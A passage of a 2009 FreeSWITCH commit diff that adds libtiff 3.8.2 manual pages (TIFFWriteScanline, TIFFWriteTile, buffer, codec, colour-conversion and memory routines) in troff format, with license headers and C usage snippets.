+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteScanline.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteScanline.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteScanline.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteScanline.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteScanline.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+.\" $Id: TIFFWriteScanline.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteScanline 3TIFF "December 16, 1991" "libtiff"
+.SH NAME
+TIFFWriteScanline \- write a scanline to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFWriteScanline(TIFF *" tif ", tdata_t " buf ", uint32 " row ", tsample_t " sample ")"
+.SH DESCRIPTION
+Write data to a file at the specified row. The
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+The data are assumed to be uncompressed and in the native bit- and byte-order
+of the host machine. The data written to the file is compressed according to
+the compression scheme of the current
+.SM TIFF
+directory (see further below). If the current scanline is past the end of the
+current subfile, the
+.I ImageLength
+field is automatically increased to include the scanline (except
+for
+.IR PlanarConfiguration =2,
+where the
+.I ImageLength
+cannot be changed once the first data are written). If the
+.I ImageLength
+is increased, the
+.I StripOffsets
+and
+.I StripByteCounts
+fields are similarly enlarged to reflect data written past the previous end of
+image.
+.SH NOTES
+The library writes encoded data using the native machine byte order. Correctly
+implemented
+.SM TIFF
+readers are expected to do any necessary byte-swapping to correctly process
+image data with BitsPerSample greater than 8. The library attempts to hide
+bit-ordering differences between the image and the native machine by
+converting data from the native machine order.
+.PP
+In C++ the
+.I sample
+parameter defaults to 0.
+.PP
+Once data are written to a file for the current directory, the values of
+certain tags may not be altered; see
+.IR TIFFSetField (3TIFF)
+for more information.
+.PP
+It is not possible to write scanlines to a file that uses a tiled
+organization.  The routine
+.IR TIFFIsTiled
+can be used to determine if the file is organized as tiles or strips.
+.SH "RETURN VALUES"
+.IR TIFFWriteScanline
+returns \-1 if it immediately detects an error and 1 for a successful write.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "%s: File not open for writing .
+The file was opened for reading, not writing.
+.PP
+.BR "Can not write scanlines to a tiled image" .
+An attempt was made to write a scanline to a tiled image. The image is assumed
+to be organized in tiles because the
+.I TileWidth
+and
+.I TileLength
+tags have been set with
+.IR TIFFSetField (3TIFF).
+.PP
+.BR "Compression algorithm does not support random access" .
+Data was written in a non-sequential order to a file that uses a compression
+algorithm and that has
+.I RowsPerStrip
+greater than one. That is, data in the image is to be stored in a compressed
+form, and with multiple rows packed into a strip. In this case, the library
+does not support random access to the data. The data should either be written
+as entire strips, sequentially by rows, or the value of
+.I RowsPerStrip
+should be set to one.
+.PP
+\fB%s: Must set "ImageWidth" before writing data\fP.
+The image's width has not be set before the first write.
+See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: Must set "PlanarConfiguration" before writing data\fP.
+The organization of data has not be defined before the first write.
+See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fBCan not change "ImageLength" when using separate planes\fP. Separate image
+planes are being used (\c
+.IR PlanarConfiguration =2),
+but the number of rows has not been specified before the first write. The
+library supports the dynamic growth of an image only when data are organized
+in a contiguous manner (\c
+.IR PlanarConfiguration =1).
+.PP
+.BR "%d: Sample out of range, max %d" .
+The
+.I sample
+parameter was greater than the value of the SamplesPerPixel tag.
+.PP
+.BR "%s: No space for strip arrays .
+There was not enough space for the arrays that hold strip offsets and byte
+counts.
+.SH BUGS
+Writing subsampled YCbCR data does not work correctly because, for 
+.IR PlanarConfiguration =2
+the size of a scanline is not calculated on a per-sample basis, and for
+.IR PlanarConfiguration =1
+the library does not pack the block-interleaved samples.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteEncodedStrip (3TIFF),
+.BR TIFFWriteRawStrip (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,77 @@
+.\" $Id: TIFFWriteTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteTile 3TIFF "November 29, 1999" "libtiff"
+.SH NAME
+TIFFWriteTile \- encode and write a tile of data to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFWriteTile(TIFF *" tif ", tdata_t " buf ", uint32 " x ", uint32 " y ", uint32 " z ", tsample_t " sample ")"
+.SH DESCRIPTION
+Write the data for the tile
+.I containing
+the specified coordinates. The data in
+.I buf
+are is (potentially) compressed, and written to the indicated file, normally
+being appended to the end of the file. The buffer must be contain an entire
+tile of data. Applications should call the routine
+.IR TIFFTileSize
+to find out the size (in bytes) of a tile buffer. The
+.I x
+and
+.I y
+parameters are always used by
+.IR TIFFWriteTile .
+The
+.I z
+parameter is used if the image is deeper than 1 slice (\c
+.IR ImageDepth >1).
+The
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.SH "RETURN VALUES"
+.IR TIFFWriteTile
+returns \-1 if it detects an error; otherwise the number of bytes in the tile
+is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFCheckTile (3TIFF),
+.BR TIFFComputeTile (3TIFF),
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadTile (3TIFF),
+.BR TIFFWriteScanline (3TIFF),
+.BR TIFFWriteEncodedTile (3TIFF),
+.BR TIFFWriteRawTile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFbuffer.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFbuffer.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFbuffer.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFbuffer.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFbuffer.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,77 @@
+.\" $Id: TIFFbuffer.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1995 Sam Leffler
+.\" Copyright (c) 1995 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFBUFFER 3TIFF "November 1, 2005" "libtiff"
+.SH NAME
+TIFFReadBufferSetup, TIFFWriteBufferSetup \- I/O buffering control routines
+.SH SYNOPSIS
+.nf
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFReadBufferSetup(TIFF *" tif ", tdata_t " buffer ", tsize_t " size ");"
+.BI "int TIFFWriteBufferSetup(TIFF *" tif ", tdata_t " buffer ", tsize_t " size ");"
+.fi
+.SH DESCRIPTION
+The following routines are provided for client-control of the I/O buffers used
+by the library. Applications need never use these routines; they are provided
+only for ``intelligent clients'' that wish to optimize memory usage and/or
+eliminate potential copy operations that can occur when working with images
+that have data stored without compression.
+.PP
+.I TIFFReadBufferSetup
+sets up the data buffer used to read raw (encoded) data from a file. If the
+specified pointer is
+.SM NULL
+(zero), then a buffer of the appropriate size is allocated. Otherwise the
+caller must guarantee that the buffer is large enough to hold any individual
+strip of raw data.
+.I TIFFReadBufferSetup
+returns a non-zero value if the setup was successful and zero otherwise.
+.PP
+.I TIFFWriteBufferSetup
+sets up the data buffer used to write raw (encoded) data to a file. If the
+specified
+.I size
+is \-1 then the buffer size is selected to hold a complete tile or strip, or
+at least 8 kilobytes, whichever is greater. If the specified
+.I buffer
+is 
+.SM NULL
+(zero), then a buffer of the appropriate size is dynamically allocated.
+.I TIFFWriteBufferSetup
+returns a non-zero value if the setup was successful and zero otherwise.
+.SH DIAGNOSTICS
+.BR "%s: No space for data buffer at scanline %ld" .
+.I TIFFReadBufferSetup
+was unable to dynamically allocate space for a data buffer.
+.PP
+.BR "%s: No space for output buffer" .
+.I TIFFWriteBufferSetup
+was unable to dynamically allocate space for a data buffer.
+.SH "SEE ALSO"
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcodec.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcodec.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFcodec.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcodec.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcodec.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+.\" $Id: TIFFcodec.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1995 Sam Leffler
+.\" Copyright (c) 1995 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH CODEC 3TIFF "October 29, 2004" "libtiff"
+.SH NAME
+TIFFFindCODEC, TIFFRegisterCODEC, TIFFUnRegisterCODEC, TIFFIsCODECConfigured
+\- codec-related utility routines
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "const TIFFCodec* TIFFFindCODEC(uint16 " scheme ");"
+.br
+.BI "TIFFCodec* TIFFRegisterCODEC(uint16 " scheme ", const char *" method ", TIFFInitMethod " init ");"
+.br
+.BI "void TIFFUnRegisterCODEC(TIFFCodec *" codec ");"
+.br
+.BI "int TIFFIsCODECConfigured(uint16 " scheme ");"
+.SH DESCRIPTION
+.I libtiff
+supports a variety of compression schemes implemented by software
+.IR codecs .
+Each codec adheres to a modular interface that provides for
+the decoding and encoding of image data; as well as some other
+methods for initialization, setup, cleanup, and the control
+of default strip and tile sizes.
+Codecs are identified by the associated value of the 
+.SM TIFF
+.I Compression
+tag; e.g. 5 for
+.SM LZW
+compression.
+.PP
+The
+.I TIFFRegisterCODEC
+routine can be used to
+augment or override the set of codecs available to an application.
+If the specified
+.I scheme
+already has a registered codec then it is
+.I overridden
+and any images with data encoded with this
+compression scheme will be decoded using the supplied coded.
+.PP
+.I TIFFIsCODECConfigured
+returns 1 if the codec is configured and working. Otherwise 0 will be returned.
+.SH DIAGNOSTICS
+.BR "No space to register compression scheme %s" .
+.I TIFFRegisterCODEC
+was unable to allocate memory for the data structures needed
+to register a codec.
+.PP
+.BR "Cannot remove compression scheme %s; not registered" .
+.I TIFFUnRegisterCODEC
+did not locate the specified codec in the table of registered 
+compression schemes.
+.SH "SEE ALSO"
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcolor.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcolor.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFcolor.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcolor.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFcolor.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,268 @@
+.\" $Id: TIFFcolor.3tiff,v 1.3 2006/03/23 14:54:02 dron Exp $
+.\"
+.\" Copyright (c) 2003, Andrey Kiselev <dron@ak4719.spb.edu>
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH COLOR 3TIFF "December 21, 2003" "libtiff"
+.SH NAME
+TIFFYCbCrToRGBInit, TIFFYCbCrtoRGB, TIFFCIELabToRGBInit, TIFFCIELabToXYZ,
+TIFFXYZToRGB \- color conversion routines.
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFYCbCrToRGBInit(TIFFYCbCrToRGB *" ycbcr ", float *" luma ", float *"refBlackWhite" );"
+.br
+.BI "void TIFFYCbCrtoRGB(TIFFYCbCrToRGB *" ycbcr ", uint32 " Y ", int32 " Cb ", int32 " Cr ", uint32 *" R ", uint32 *" G ", uint32 *" B " );"
+.sp
+.BI "int TIFFCIELabToRGBInit(TIFFCIELabToRGB *" cielab ", TIFFDisplay *" display ", float *" refWhite ");"
+.br
+.BI "void TIFFCIELabToXYZ(TIFFCIELabToRGB *" cielab ", uint32 " L ", int32 " a ", int32 " b ", float *" X ", float *" Y ", float *" Z ");"
+.br
+.BI "void TIFFXYZToRGB(TIFFCIELabToRGB *" cielab ", float " X ", float " Y ", float " Z" , uint32 *" R ", uint32 *" G ", uint32 *" B ");"
+.SH DESCRIPTION
+TIFF supports several color spaces for images stored in that format. There is
+usually a problem of application to handle the data properly and convert
+between different colorspaces for displaying and printing purposes. To
+simplify this task libtiff implements several color conversion routines
+itself. In particular, these routines used in
+.B TIFFRGBAImage(3TIFF)
+interface.
+.PP
+.B TIFFYCbCrToRGBInit()
+used to initialize
+.I YCbCr
+to
+.I RGB
+conversion state. Allocating and freeing of the
+.I ycbcr
+structure belongs to programmer.
+.I TIFFYCbCrToRGB
+defined in
+.B tiffio.h
+as
+.PP
+.RS
+.nf
+typedef struct {                /* YCbCr->RGB support */
+        TIFFRGBValue* clamptab; /* range clamping table */
+        int*	      Cr_r_tab;
+        int*	      Cb_b_tab;
+        int32*	      Cr_g_tab;
+        int32*	      Cb_g_tab;
+        int32*        Y_tab;
+} TIFFYCbCrToRGB;
+.fi
+.RE
+.PP
+.I luma
+is a float array of three values representing proportions of the red, green
+and blue in luminance, Y (see section 21 of the TIFF 6.0 specification, where
+the YCbCr images discussed).
+.I TIFFTAG_YCBCRCOEFFICIENTS
+holds that values in TIFF file.
+.I refBlackWhite
+is a float array of 6 values which specifies a pair of headroom and footroom
+image data values (codes) for each image component (see section 20 of the
+TIFF 6.0 specification where the colorinmetry fields discussed).
+.I TIFFTAG_REFERENCEBLACKWHITE
+is responsible for storing these values in TIFF file. Following code snippet
+should helps to understand the the technique:
+.PP
+.RS
+.nf
+float *luma, *refBlackWhite;
+uint16 hs, vs;
+
+/* Initialize structures */
+ycbcr = (TIFFYCbCrToRGB*)
+	_TIFFmalloc(TIFFroundup(sizeof(TIFFYCbCrToRGB), sizeof(long))
+        	+ 4*256*sizeof(TIFFRGBValue)
+        	+ 2*256*sizeof(int)
+        	+ 3*256*sizeof(int32));
+if (ycbcr == NULL) {
+        TIFFError("YCbCr->RGB",
+		"No space for YCbCr->RGB conversion state");
+        exit(0);
+}
+
+TIFFGetFieldDefaulted(tif, TIFFTAG_YCBCRCOEFFICIENTS, &luma);
+TIFFGetFieldDefaulted(tif, TIFFTAG_REFERENCEBLACKWHITE, &refBlackWhite);
+if (TIFFYCbCrToRGBInit(ycbcr, luma, refBlackWhite) < 0)
+	exit(0);
+
+/* Start conversion */
+uint32 r, g, b;
+uint32 Y;
+int32 Cb, Cr;
+
+for each pixel in image
+	TIFFYCbCrtoRGB(img->ycbcr, Y, Cb, Cr, &r, &g, &b);
+
+/* Free state structure */
+_TIFFfree(ycbcr);
+.fi
+.RE
+.PP
+
+.PP
+.B TIFFCIELabToRGBInit()
+initializes the
+.I CIE L*a*b* 1976
+to
+.I RGB
+conversion state.
+.B TIFFCIELabToRGB
+defined as
+.PP
+.RS
+.nf
+#define CIELABTORGB_TABLE_RANGE 1500
+
+typedef struct {		     /* CIE Lab 1976->RGB support */
+	int	range;		     /* Size of conversion table */
+	float	rstep, gstep, bstep;
+	float	X0, Y0, Z0;	     /* Reference white point */
+	TIFFDisplay display;
+	float	Yr2r[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yr to r */
+	float	Yg2g[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yg to g */
+	float	Yb2b[CIELABTORGB_TABLE_RANGE + 1]; /* Conversion of Yb to b */
+} TIFFCIELabToRGB;
+.fi
+.RE
+.PP
+.I display
+is a display device description, declared as
+.PP
+.RS
+.nf
+typedef struct {
+	float d_mat[3][3]; /* XYZ -> luminance matrix */
+	float d_YCR;       /* Light o/p for reference white */
+	float d_YCG;
+	float d_YCB;
+	uint32 d_Vrwr;     /* Pixel values for ref. white */
+	uint32 d_Vrwg;
+	uint32 d_Vrwb;
+	float d_Y0R;       /* Residual light for black pixel */
+	float d_Y0G;
+	float d_Y0B;
+	float d_gammaR;    /* Gamma values for the three guns */
+	float d_gammaG;
+	float d_gammaB;
+} TIFFDisplay;
+.fi
+.RE
+.PP
+For example, the one can use sRGB device, which has the following parameters:
+.PP
+.RS
+.nf
+TIFFDisplay display_sRGB = {
+	{       /* XYZ -> luminance matrix */
+		{  3.2410F, -1.5374F, -0.4986F },
+		{  -0.9692F, 1.8760F, 0.0416F },
+		{  0.0556F, -0.2040F, 1.0570F }
+	},	
+	100.0F, 100.0F, 100.0F, /* Light o/p for reference white */
+	255, 255, 255,      /* Pixel values for ref. white */
+	1.0F, 1.0F, 1.0F,   /* Residual light o/p for black pixel */
+	2.4F, 2.4F, 2.4F,   /* Gamma values for the three guns */
+};
+.fi
+.RE
+.PP
+.I refWhite
+is a color temperature of the reference white. The
+.I TIFFTAG_WHITEPOINT
+contains the chromaticity of the white point of the image from where the
+reference white can be calculated using following formulae:
+.PP
+.RS
+refWhite_Y = 100.0
+.br
+refWhite_X = whitePoint_x / whitePoint_y * refWhite_Y
+.br
+refWhite_Z = (1.0 - whitePoint_x - whitePoint_y) / whitePoint_y * refWhite_X
+.br
+.RE
+.PP
+The conversion itself performed in two steps: at the first one we will convert
+.I CIE L*a*b* 1976
+to
+.I CIE XYZ
+using
+.B TIFFCIELabToXYZ()
+routine, and at the second step we will convert
+.I CIE XYZ
+to
+.I RGB
+using
+.B TIFFXYZToRGB().
+Look at the code sample below:
+.PP
+.RS
+.nf
+float   *whitePoint;
+float   refWhite[3];
+
+/* Initialize structures */
+img->cielab = (TIFFCIELabToRGB *)
+	_TIFFmalloc(sizeof(TIFFCIELabToRGB));
+if (!cielab) {
+	TIFFError("CIE L*a*b*->RGB",
+		"No space for CIE L*a*b*->RGB conversion state.");
+	exit(0);
+}
+
+TIFFGetFieldDefaulted(tif, TIFFTAG_WHITEPOINT, &whitePoint);
+refWhite[1] = 100.0F;
+refWhite[0] = whitePoint[0] / whitePoint[1] * refWhite[1];
+refWhite[2] = (1.0F - whitePoint[0] - whitePoint[1])
+	      / whitePoint[1] * refWhite[1];
+if (TIFFCIELabToRGBInit(cielab, &display_sRGB, refWhite) < 0) {
+	TIFFError("CIE L*a*b*->RGB",
+		"Failed to initialize CIE L*a*b*->RGB conversion state.");
+	_TIFFfree(cielab);
+	exit(0);
+}
+
+/* Now we can start to convert */
+uint32 r, g, b;
+uint32 L;
+int32 a, b;
+float X, Y, Z;
+
+for each pixel in image
+	TIFFCIELabToXYZ(cielab, L, a, b, &X, &Y, &Z);
+	TIFFXYZToRGB(cielab, X, Y, Z, &r, &g, &b);
+
+/* Don't forget to free the state structure */
+_TIFFfree(cielab);
+.fi
+.RE
+.PP
+.SH "SEE ALSO"
+.BR TIFFRGBAImage (3TIFF)
+.BR libtiff (3TIFF),
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFmemory.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFmemory.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFmemory.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFmemory.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFmemory.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+.\" $Id: TIFFmemory.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1995 Sam Leffler
+.\" Copyright (c) 1995 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH MEMORY 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+_TIFFmalloc, \c
+_TIFFrealloc, \c
+_TIFFfree, \c
+_TIFFmemset, \c
+_TIFFmemcpy, \c
+_TIFFmemcmp, \c
+\- memory management-related functions for use with
+.SM TIFF
+files
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tdata_t _TIFFmalloc(tsize_t " size ");"
+.br
+.BI "tdata_t _TIFFrealloc(tdata_t " buffer ", tsize_t " size ");"
+.br
+.BI "void _TIFFfree(tdata_t " buffer ");"
+.br
+.BI "void _TIFFmemset(tdata_t " s ", int " c ", tsize_t " n ");"
+.br
+.BI "void _TIFFmemcpy(tdata_t " dest ", const tdata_t " src ", tsize_t " n ");"
+.br
